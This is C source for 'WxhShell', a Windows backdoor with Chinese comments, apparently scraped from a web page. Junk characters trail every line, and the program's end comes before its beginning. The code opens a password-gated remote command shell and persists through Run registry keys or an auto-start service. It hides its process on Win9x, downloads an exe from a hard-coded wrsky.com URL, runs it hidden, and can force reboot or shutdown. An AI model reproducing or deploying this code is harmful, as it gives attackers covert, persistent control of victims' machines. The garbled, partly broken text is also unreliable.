    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sIdo(`8$  
    else { hf0G-r_ow  
    closesocket(wsh); N:[m,U9a  
    ExitThread(0); 3Gf^IV-  
    } A_T-]YQ  
    break; zMt"ST.  
    } g"( vl-Uw  
  // 获取shell Y'Sxehx  
  case 's': { EnA) Rz  
    CmdShell(wsh); C*ZgjFvB  
    closesocket(wsh); Xj"/6|X  
    ExitThread(0); fG;)wQJ  
    break; o %A4wEye  
  } lYT}Nc4"="  
  // 退出 CjORL'3  
  case 'x': { 75wQH*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `rW{zQYM  
    CloseIt(wsh); :+ @-F>Q  
    break; r0l ud&_9  
    } Y }'C'PR  
  // 离开 i;*c|ma1>  
  case 'q': { 9c8zH{T_{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *fW&-ic  
    closesocket(wsh); IyIh0B~i  
    WSACleanup(); rAIX(2@cR_  
    exit(1); 8^&)A b  
    break; lF5;K c  
        } B o.x  
  } ?(>7v[=iT  
  } $iDatQ[  
_)p@;vGV  
  // 提示信息 n99:2r_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yEtI5Qk  
} r ^_8y8&l  
  } HD?z   
AvRZf-Geg  
  return; Crh5^?  
} : RnjcnR  
QE)I7(  
// shell模块句柄 =t<!W  
int CmdShell(SOCKET sock) -aLBj?N c[  
{ HI#}M|4n  
STARTUPINFO si; 6g29!F`y  
ZeroMemory(&si,sizeof(si)); mLPQ5`_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qD7(+a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (' /S~  
PROCESS_INFORMATION ProcessInfo; ii2X7Q  
char cmdline[]="cmd"; a2v UZhkR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jWiZ!dtUZ  
  return 0; ~^$ONmI5  
} H.XD8qi3W  
6#7f^uIK  
// 自身启动模式 1Ls@|   
int StartFromService(void) ly%$>BRU  
{ g10$pf+L  
typedef struct <tuh%k  
{ ].pz  
  DWORD ExitStatus; bPC {4l  
  DWORD PebBaseAddress; [{6]iJ  
  DWORD AffinityMask; \r^=W=  
  DWORD BasePriority; K:z|1V  
  ULONG UniqueProcessId; x^8xz5:O  
  ULONG InheritedFromUniqueProcessId; I?J$";A  
}   PROCESS_BASIC_INFORMATION; rl'YyO}2  
:IV4]`  
PROCNTQSIP NtQueryInformationProcess; e%`gD*8  
VvSD &r^qI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :RzcK>Gub=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5ap}(bO  
Y~dRvt0_w  
  HANDLE             hProcess; )M#~/~^f+  
  PROCESS_BASIC_INFORMATION pbi; <d# 9d.<  
(3 8.s:-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?(*KQ#d  
  if(NULL == hInst ) return 0; @7 &rDZ  
jkQv cU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5b0Ipg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ko\m8\3?fK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7~C@x+1S/  
W:4]-i?2  
  if (!NtQueryInformationProcess) return 0; +>KWY PH  
U&C\5N]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^>h 9<  
  if(!hProcess) return 0; =R:3J"ly0  
3T# zxu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ayc}uuu  
}/x `w  
  CloseHandle(hProcess); a ^iefwsNc  
yrR<F5xge  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RQ y|W}d_  
if(hProcess==NULL) return 0; ;dRTr *  
%((F} 9_6  
HMODULE hMod; ppR~e*rv-  
char procName[255]; =\J^_g4-l  
unsigned long cbNeeded; =:P9 $  
qeQTW@6 F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <4^ _dJ9=  
Cj"k Fq4  
  CloseHandle(hProcess); #AyM!   
@bmu4!"d  
if(strstr(procName,"services")) return 1; // 以服务启动 {[hV ['Awv  
!vr">@}K  
  return 0; // 注册表启动 /(BQzCP9O;  
} V7N8m<Tf  
{{ R/:-6?@  
// 主模块 pTOS}A[dh  
int StartWxhshell(LPSTR lpCmdLine) ?q7V B  
{ t2BkQ8vr  
  SOCKET wsl; {O5;V/00}  
BOOL val=TRUE; f6PXcV  
  int port=0; 64#~p)  
  struct sockaddr_in door; L,[0*h  
vs{i2!^  
  if(wscfg.ws_autoins) Install(); RxAWX?9Z  
 &e7yX  
port=atoi(lpCmdLine); D4}WJMQ7s  
 %3KWc-  
if(port<=0) port=wscfg.ws_port; p!AQ  
2!~ j(_TA  
  WSADATA data; B*zb0hdo:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {}D8Y_=9\  
Q6_!I42Y`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nrUrMnlg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9^4^EY#  
  door.sin_family = AF_INET; 58mzh82+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]8htJ]<|Q  
  door.sin_port = htons(port); KAjKv_6=g  
Fq&@dxN3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l|%7)2TyG)  
closesocket(wsl); KOV^wSwS  
return 1; 6G/)q8'G  
} ?WG9}R[qE/  
wS%I.  
  if(listen(wsl,2) == INVALID_SOCKET) { ] \4-e2N`\  
closesocket(wsl); +&O[}%W  
return 1; 5G_*T  
} ?%JH4I2  
  Wxhshell(wsl); qK:.j  
  WSACleanup(); +@cf@}W6QC  
X@JDfn?A  
return 0; U2ecvq[T  
r1}OlVbK  
} @=K> uyB  
x,2+9CCU  
// 以NT服务方式启动 O2:m)@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #8R\J[9  
{ |w>"oaLN|Q  
DWORD   status = 0; W`eYd| +C  
  DWORD   specificError = 0xfffffff; 5ii`!y  
k^C;"awh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I> =7|G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  |}QDC/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4L^KR_h/  
  serviceStatus.dwWin32ExitCode     = 0; "h_n/}r=  
  serviceStatus.dwServiceSpecificExitCode = 0; s+yBxgQ/  
  serviceStatus.dwCheckPoint       = 0; A0oC*/  
  serviceStatus.dwWaitHint       = 0; 6}L[7~1  
+C/K@:p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .o:Pe2C  
  if (hServiceStatusHandle==0) return; QP7EPaW  
s8WA@)L  
status = GetLastError(); z/F(z*'v  
  if (status!=NO_ERROR) QD+dP nZu  
{ (+@3Dr5o0}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vhz?9i6|g^  
    serviceStatus.dwCheckPoint       = 0; '|J-8"  
    serviceStatus.dwWaitHint       = 0; }f^K}*sK$5  
    serviceStatus.dwWin32ExitCode     = status;  3i?{E ^  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;g^QH r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?.v!RdM+  
    return; S%Pk@n`z]  
  } 6%U1%;  
w{F8]N>0<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cGsP0LkHC  
  serviceStatus.dwCheckPoint       = 0; {h&*H[Z z  
  serviceStatus.dwWaitHint       = 0; G&/}P$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fyYv}z  
} . 2.$Rq  
feIAgd},  
// 处理NT服务事件,比如:启动、停止 wx}\0(]Gl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BtBy.bR  
{ f|Z3VS0x  
switch(fdwControl) iWCN2om  
{ H3QAIsGS  
case SERVICE_CONTROL_STOP: \ CV(c]  
  serviceStatus.dwWin32ExitCode = 0; fT[6Cw5w`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gO*cX&  
  serviceStatus.dwCheckPoint   = 0; qnrf%rS  
  serviceStatus.dwWaitHint     = 0; +z>*m`}F  
  { 5}*aP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6\\B{%3R2  
  } > :!faWX  
  return; lr+Kwve  
case SERVICE_CONTROL_PAUSE: +@Fy) {C7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {8@?9Z9R{  
  break; /B|#GJ\\3  
case SERVICE_CONTROL_CONTINUE: S'Yg!KwX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wCMsaW  
  break; Z)P x6\?+  
case SERVICE_CONTROL_INTERROGATE: L(`^T`  
  break; Yah3I@xGy  
}; @o9EX }  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 45/f}kvy  
} O5Yk=-_m  
c*~/[:}  
// 标准应用程序主函数 wh|[ "U('  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C0i:*1  
{ ?Sn$AS I  
;L(W'+  
// 获取操作系统版本 W$:;MY>0f  
OsIsNt=GetOsVer(); kzJNdYtdH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cp0>Euco=  
8Dhq_R'r  
  // 从命令行安装 [xO^\oQa=c  
  if(strpbrk(lpCmdLine,"iI")) Install(); x"8(j8e  
9@QP?=\Y  
  // 下载执行文件 1_7x'5GdA  
if(wscfg.ws_downexe) { TjD`< k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H!Uy4L~>  
  WinExec(wscfg.ws_filenam,SW_HIDE); r.-NfK4  
} =c-j4xna>  
v}xz`]MW<,  
if(!OsIsNt) { AJt0l|F  
// 如果时win9x,隐藏进程并且设置为注册表启动 y"e'Gg2  
HideProc(); 1'c!9  
StartWxhshell(lpCmdLine); Y)c9]1qly  
} X]C-y,r[M  
else kul&m|  
  if(StartFromService()) ~;UK/OZ  
  // 以服务方式启动 lCWk)m8  
  StartServiceCtrlDispatcher(DispatchTable); w gATfygr  
else ^CZn<$  
  // 普通方式启动 ;?=] ffa{  
  StartWxhshell(lpCmdLine); iP|h];a+@  
Va(R*38k  
return 0;  B*Hp  
} nt "VH5  
% eW>IN]5  
YXrTm[P  
0x[vB5R  
=========================================== ;o%r{:lng  
A[htG\A` 0  
l= ~]MSwY  
ReZ|q5*  
"E/F{6NH  
J%j#gyTU  
" 0@*rp7   
72~)bu  
#include <stdio.h> 4xtbP\=   
#include <string.h> }k\a~<'X  
#include <windows.h> U>:CX XHRt  
#include <winsock2.h> G!XizhE  
#include <winsvc.h> #jA|04w  
#include <urlmon.h> |5e/.T$  
qa`bR%eH  
#pragma comment (lib, "Ws2_32.lib") NZ7a^xT_)  
#pragma comment (lib, "urlmon.lib") Iimz  
f*W<N06EZ  
#define MAX_USER   100 // 最大客户端连接数 l:j9lBS  
#define BUF_SOCK   200 // sock buffer D'Byl,W$   
#define KEY_BUFF   255 // 输入 buffer Uk|Xs~@#E  
d?b2jZ$r]  
#define REBOOT     0   // 重启 !x;T2l  
#define SHUTDOWN   1   // 关机 [FF%HRce,.  
"LP4)hr_`  
#define DEF_PORT   5000 // 监听端口 `hM ]5;0  
z)43+8;  
#define REG_LEN     16   // 注册表键长度 T=;'"S  
#define SVC_LEN     80   // NT服务名长度 (yc$W9  
y ?4|jN  
// 从dll定义API [rqq*_eB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lQi2ym?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f+fF5Z\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |= N8X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s67$tlV  
;Qk*h'}f  
// wxhshell配置信息 aJI>qk h?]  
struct WSCFG { Yfxc$ub  
  int ws_port;         // 监听端口 Mgcq'{[~Y=  
  char ws_passstr[REG_LEN]; // 口令 k5g\s9n]  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;&Eu< %y  
  char ws_regname[REG_LEN]; // 注册表键名 |=jgrm1yj  
  char ws_svcname[REG_LEN]; // 服务名 p_B,7@Jl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gOgG23 x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qi6vP&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jpm}EOq<%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VaVKWJg$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L!mQP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 akJ{-   
mQ VduG  
}; dr,j~s  
3~s0ux[  
// default Wxhshell configuration 6NJ La|&n  
struct WSCFG wscfg={DEF_PORT, U NQup;#h  
    "xuhuanlingzhe", 9XobTi3+'  
    1, ?D57HCd`n  
    "Wxhshell", \m5:~,p=  
    "Wxhshell", ;S,g&%N  
            "WxhShell Service", 2r PKZ|  
    "Wrsky Windows CmdShell Service", ou,W|<%  
    "Please Input Your Password: ", r-4I{GPb  
  1, ]y.,J  
  "http://www.wrsky.com/wxhshell.exe", J +<|8D  
  "Wxhshell.exe" 7-W(gD!`  
    }; LO# {   
cpu+"/\  
// 消息定义模块  78qf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )bPNL$O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3,N7Nfe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *J1pxZ^  
char *msg_ws_ext="\n\rExit."; K# _plpr  
char *msg_ws_end="\n\rQuit."; ,2&'8:B  
char *msg_ws_boot="\n\rReboot..."; 8'`&f &  
char *msg_ws_poff="\n\rShutdown..."; >%Y.X38Z[  
char *msg_ws_down="\n\rSave to "; O!Mm~@MoA  
mc!3FJ  
char *msg_ws_err="\n\rErr!"; i,;Q  
char *msg_ws_ok="\n\rOK!"; ~;bwfp_  
0A5xG&  
char ExeFile[MAX_PATH]; bsqoR8  
int nUser = 0;  b$rBxe\  
HANDLE handles[MAX_USER]; O}#*U+j  
int OsIsNt; ELY$ ]^T  
2S!=2u+7  
SERVICE_STATUS       serviceStatus; e|+uLbN&;c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sq(=Bn6E  
~5p `Kg*  
// 函数声明 a`/[\K6  
int Install(void); "UVV/&`o  
int Uninstall(void); t@4X(i0  
int DownloadFile(char *sURL, SOCKET wsh); 1DZGb)OU  
int Boot(int flag); - VR u^l#  
void HideProc(void); TN/I(pkt1B  
int GetOsVer(void); L d#  
int Wxhshell(SOCKET wsl); 9&rn3hmP  
void TalkWithClient(void *cs); b-~`A;pr  
int CmdShell(SOCKET sock); Szwa2IdI.  
int StartFromService(void); mUnn k`v  
int StartWxhshell(LPSTR lpCmdLine); yKDg ~zsh  
Ix1ec^?f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zh3]bg5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3bE^[V8/  
VMHiuBz:  
// 数据结构和表定义 $5il]D`  
SERVICE_TABLE_ENTRY DispatchTable[] = }"q1B  
{ s2w .V O  
{wscfg.ws_svcname, NTServiceMain}, VMen:  
{NULL, NULL} +k8><_vr}  
}; [DjdR_9*I  
&w/aQs~  
// 自我安装 U$0#j  
int Install(void) __3Cjo^6&  
{ @["Vzg!I6"  
  char svExeFile[MAX_PATH]; y}#bCRy~.A  
  HKEY key; D }b+#G(m[  
  strcpy(svExeFile,ExeFile); eN}FBX#'  
zZ;tSKL  
// 如果是win9x系统,修改注册表设为自启动 7(gQ6?KsZ  
if(!OsIsNt) { -R6z/P (}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &?zJ|7rh@|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xwK<f6H!y  
  RegCloseKey(key); Y*J`Wf(w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d/R:-{J)c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9RR1$( f  
  RegCloseKey(key); ~^Vt)/}Q  
  return 0; 3ck;~Ncj<  
    } yVh]hL#4+w  
  } Q v{q:=k  
} siyJjE)}w  
else { '<1T>|`/t  
C(W?)6?  
// 如果是NT以上系统,安装为系统服务 IybMO5Mwn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yKfRwO[ j  
if (schSCManager!=0) ;=UrIA@y;=  
{ O-  r"G  
  SC_HANDLE schService = CreateService [@>Kd`!'  
  ( zFQxW4G  
  schSCManager, 6PJ0iten  
  wscfg.ws_svcname, ;O{AYF?,N  
  wscfg.ws_svcdisp, .bnoK  
  SERVICE_ALL_ACCESS, CXA)Zl5#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VQqEsnkz  
  SERVICE_AUTO_START, UN,@K9  
  SERVICE_ERROR_NORMAL, !7 *X{D v  
  svExeFile, 4P2)fLmc  
  NULL, #( X4M{I  
  NULL, z,DEBRT+  
  NULL, 0>E`9|   
  NULL, WOgbz&S?J  
  NULL ]9A9q<lZ  
  ); ]^aece t  
  if (schService!=0) vK2L"e  
  { K mL PWj  
  CloseServiceHandle(schService); 5^P)='0*  
  CloseServiceHandle(schSCManager); ] J:^$]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hnG'L*HooE  
  strcat(svExeFile,wscfg.ws_svcname); Z;??j+`Eo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :LcR<>LZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v*3ezf\  
  RegCloseKey(key); Lxd*W2$3_  
  return 0; {f3T !e{  
    } 2} 509X(*  
  } jF-z?  
  CloseServiceHandle(schSCManager); )+cP8$n6L  
} | L fH,6  
} H;IG\k6C  
.sjM$#V=  
return 1; z@<`]  
} O`|'2x{[O  
]S%qfna e1  
// 自我卸载 F=d#$-yg  
int Uninstall(void) ds7I .Q'  
{ 2ht<"  
  HKEY key; dwJ'hg  
MdEZ839J  
if(!OsIsNt) { qZA?M=NT?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ibpk\a?A{  
  RegDeleteValue(key,wscfg.ws_regname); G9}[g)R*  
  RegCloseKey(key); /r}t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E!3W_:Bs  
  RegDeleteValue(key,wscfg.ws_regname); xPsuDi8u  
  RegCloseKey(key); htMpL  
  return 0; ]km8M^P  
  } H={fY:%  
} T#er5WOH  
} gD&%$&q  
else { zy5@K)  
\{NeDv{A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h r t\  
if (schSCManager!=0) [/5>)HK} C  
{ `iQyKZS/+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  dsJ}C|N  
  if (schService!=0) m<"1*d~  
  { `2S%l, >)#  
  if(DeleteService(schService)!=0) { M,cI0i  
  CloseServiceHandle(schService); ("H:T?4Qs  
  CloseServiceHandle(schSCManager); !;fkc0&!  
  return 0; P1z6 sG G  
  } `db++Z'C  
  CloseServiceHandle(schService); OL=IUg"  
  } _|H]X+|  
  CloseServiceHandle(schSCManager); p?8> 9  
} : <m0 GG  
} AO/J:`  
%2/WyD$U  
return 1; mL3'/3-7:V  
} }54\NSj0  
jd(=? !_  
// 从指定url下载文件 !BK^5,4?--  
int DownloadFile(char *sURL, SOCKET wsh) %&e5i  
{ /Q{Jf+>R>  
  HRESULT hr; a>""MC2  
char seps[]= "/"; HykJ}ezX4  
char *token; B`T9dL[E4  
char *file; ap_(/W  
char myURL[MAX_PATH]; r1F5&?{q  
char myFILE[MAX_PATH]; J+Y&a&j.  
e|Lh~sVq  
strcpy(myURL,sURL); NaAq^F U  
  token=strtok(myURL,seps); |$6Gp Aq!  
  while(token!=NULL) PT>,:zY  
  { #pOW2 Uj8\  
    file=token; Sy8o/-  
  token=strtok(NULL,seps); MZ% P(5  
  } qK(? \ t$  
0=-h9W{zI  
GetCurrentDirectory(MAX_PATH,myFILE); dd98v Vj  
strcat(myFILE, "\\"); QN*'MA"M  
strcat(myFILE, file); tJ'U<s  
  send(wsh,myFILE,strlen(myFILE),0); .@1\26<  
send(wsh,"...",3,0); ) c+ ZQq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o7hjx hmC  
  if(hr==S_OK) ))306*X\  
return 0; o.y4&bC14;  
else NhpGa@[D  
return 1; n;2W=N?y  
&w LI:x5  
} 2BRY2EF  
V{c n1Af  
// 系统电源模块 eQzSWn[  
int Boot(int flag) X*d,z~k%*d  
{ @0Tm>s  
  HANDLE hToken; xr.fZMOh4  
  TOKEN_PRIVILEGES tkp; }bjTb!  
.5_w^4`b  
  if(OsIsNt) { 7\5 [lM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m#'u;GP]k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ii{5z;I]X  
    tkp.PrivilegeCount = 1; ,X9Y/S l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CX\# |Q8q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LTFA2X&E=  
if(flag==REBOOT) { gIRFqEz@o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TLO-$>h  
  return 0; 8G(wYlxi  
} 3osAWSCEL  
else { okr'=iDg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o2F6K*u}  
  return 0; ~ TurYvf  
} &hqGGfVsd  
  } ow]n)Te  
  else { U .G*C  
if(flag==REBOOT) { 9SMM%(3, r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Etn]e;z4  
  return 0; !K6:W1  
} W99Fb+$I  
else { U4^dDj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rK)%n!Z  
  return 0; S(/@.gI:f  
} *|hICTWL  
} \XmtSfFC  
d4A}BTs1  
return 1; %~$4[,=  
} D|_}~T>;&  
DF9Br D0{  
// win9x进程隐藏模块 rZGA9duy  
void HideProc(void) =cqaA^HQL  
{ Mt-y{*6!k  
D:%$a]_f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =d( 6 )  
  if ( hKernel != NULL ) ")ZHa qEB  
  { *>Om3[D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z1OX9]##r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y$Os&t@bu  
    FreeLibrary(hKernel); 3nR|*t;  
  } M.H4ud  
,>"1'i&@  
return; *4=Fy:R]O  
} a08B8  
7r*>?]y+  
// 获取操作系统版本 AF **@iG  
int GetOsVer(void) ];j8vts&  
{ aJIj%Y$  
  OSVERSIONINFO winfo; OJ] {FI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n |.- :Zy  
  GetVersionEx(&winfo); Y5Ey%M m6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M> 1V3 sM  
  return 1; b%T-nY2  
  else dk;Ed  
  return 0; AGOK%[[Ws  
} }2DeqY  
b]CJf8'u  
// 客户端句柄模块 M`iJ6L  
int Wxhshell(SOCKET wsl) o3}12i S  
{ VJuPC  
  SOCKET wsh; "eGS~-DVK  
  struct sockaddr_in client; p7 2+:I  
  DWORD myID; E/AM<eN  
-hhE`Y  
  while(nUser<MAX_USER) /sJk[5!z  
{ Cg)#B+  
  int nSize=sizeof(client); %l3RM*zb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?mgr #UN  
  if(wsh==INVALID_SOCKET) return 1; kZF\V7k  
{TUCa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {`l]RIig  
if(handles[nUser]==0) I caIB)  
  closesocket(wsh); f{^n<\Jh  
else ( |O;Ci  
  nUser++; 0qJ 3@d  
  } 69q8t*%O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N9{ivq|fO  
$+*ZsIo   
  return 0; $#"}g#u  
} hFQC%N. '  
Zad+)~@!tq  
// 关闭 socket | %6B#uy  
void CloseIt(SOCKET wsh) w&C SE  
{ =fG(K!AQ  
closesocket(wsh); :UFf6T?  
nUser--; w_A-:S 5C  
ExitThread(0); AGrGZ7p]  
} F fl`;M  
=> -b?F0(c  
// 客户端请求句柄 "fz-h  
void TalkWithClient(void *cs) y~U+MtSf#  
{ T|9Yo=UK%  
5)&e2V',y  
  SOCKET wsh=(SOCKET)cs; vP&*(WfO)  
  char pwd[SVC_LEN]; t"RgEH@  
  char cmd[KEY_BUFF]; X2sK<Qluql  
char chr[1]; zA( 2+e 7  
int i,j; APK@Oq  
r+$ 0u~^  
  while (nUser < MAX_USER) { etGquW.  
?V*>4A  
if(wscfg.ws_passstr) { MV=.(Zs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5dYIL`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); & +%CC  
  //ZeroMemory(pwd,KEY_BUFF); Z<ke!H  
      i=0; oJXZ}>>iT  
  while(i<SVC_LEN) { tDIzn`$ z  
B-M|}T  
  // 设置超时 hhYo9jTHW  
  fd_set FdRead; |a^ydwb  
  struct timeval TimeOut; hRc\&+#/  
  FD_ZERO(&FdRead); QZ9 )uI  
  FD_SET(wsh,&FdRead); GlD@Ud>o)  
  TimeOut.tv_sec=8; ]T zN*6o  
  TimeOut.tv_usec=0; }yB@?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !j7b7<wR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t}*teo[  
3PBg3Y$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !gJAK<]iW  
  pwd=chr[0]; i-niRu<  
  if(chr[0]==0xd || chr[0]==0xa) { QC ]z--wu  
  pwd=0; w8> T ~Mv  
  break; 7d'@Z2%J0  
  } _)%4NjWKk  
  i++; q+ )KY  
    } |fRajuA;  
)xTp7YnZ;  
  // 如果是非法用户,关闭 socket bh+R9~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ed\,FWR  
} '7_'s1  
_^&oNm1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NK"y@)%0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QRt(?96  
}14.u&4  
while(1) { ]G|@F :  
>E)UmO{S  
  ZeroMemory(cmd,KEY_BUFF); I<[(hPQUf  
qn4Dm ^  
      // 自动支持客户端 telnet标准   B=n]N+  
  j=0; 14zo0ANM  
  while(j<KEY_BUFF) { fI}-?@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LJI&j \  
  cmd[j]=chr[0]; I -;JDC?  
  if(chr[0]==0xa || chr[0]==0xd) { Snh\Fgdz  
  cmd[j]=0; eb( =V *  
  break; 0} P&G^%"  
  } O\G%rp L$w  
  j++; *sL'6"#Cre  
    } +.>O%pNj  
z!RA=]3h  
  // 下载文件 Z39^nGO  
  if(strstr(cmd,"http://")) { >1joCG~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3zh'5qQ  
  if(DownloadFile(cmd,wsh)) kTFN.kQx@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 u&P,&T  
  else C,fIwqOr3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M_*w)<  
  } $dwv1@M2  
  else { oD"fRBS+$  
CWC*bkd5a  
    switch(cmd[0]) { >8>.o[Q&  
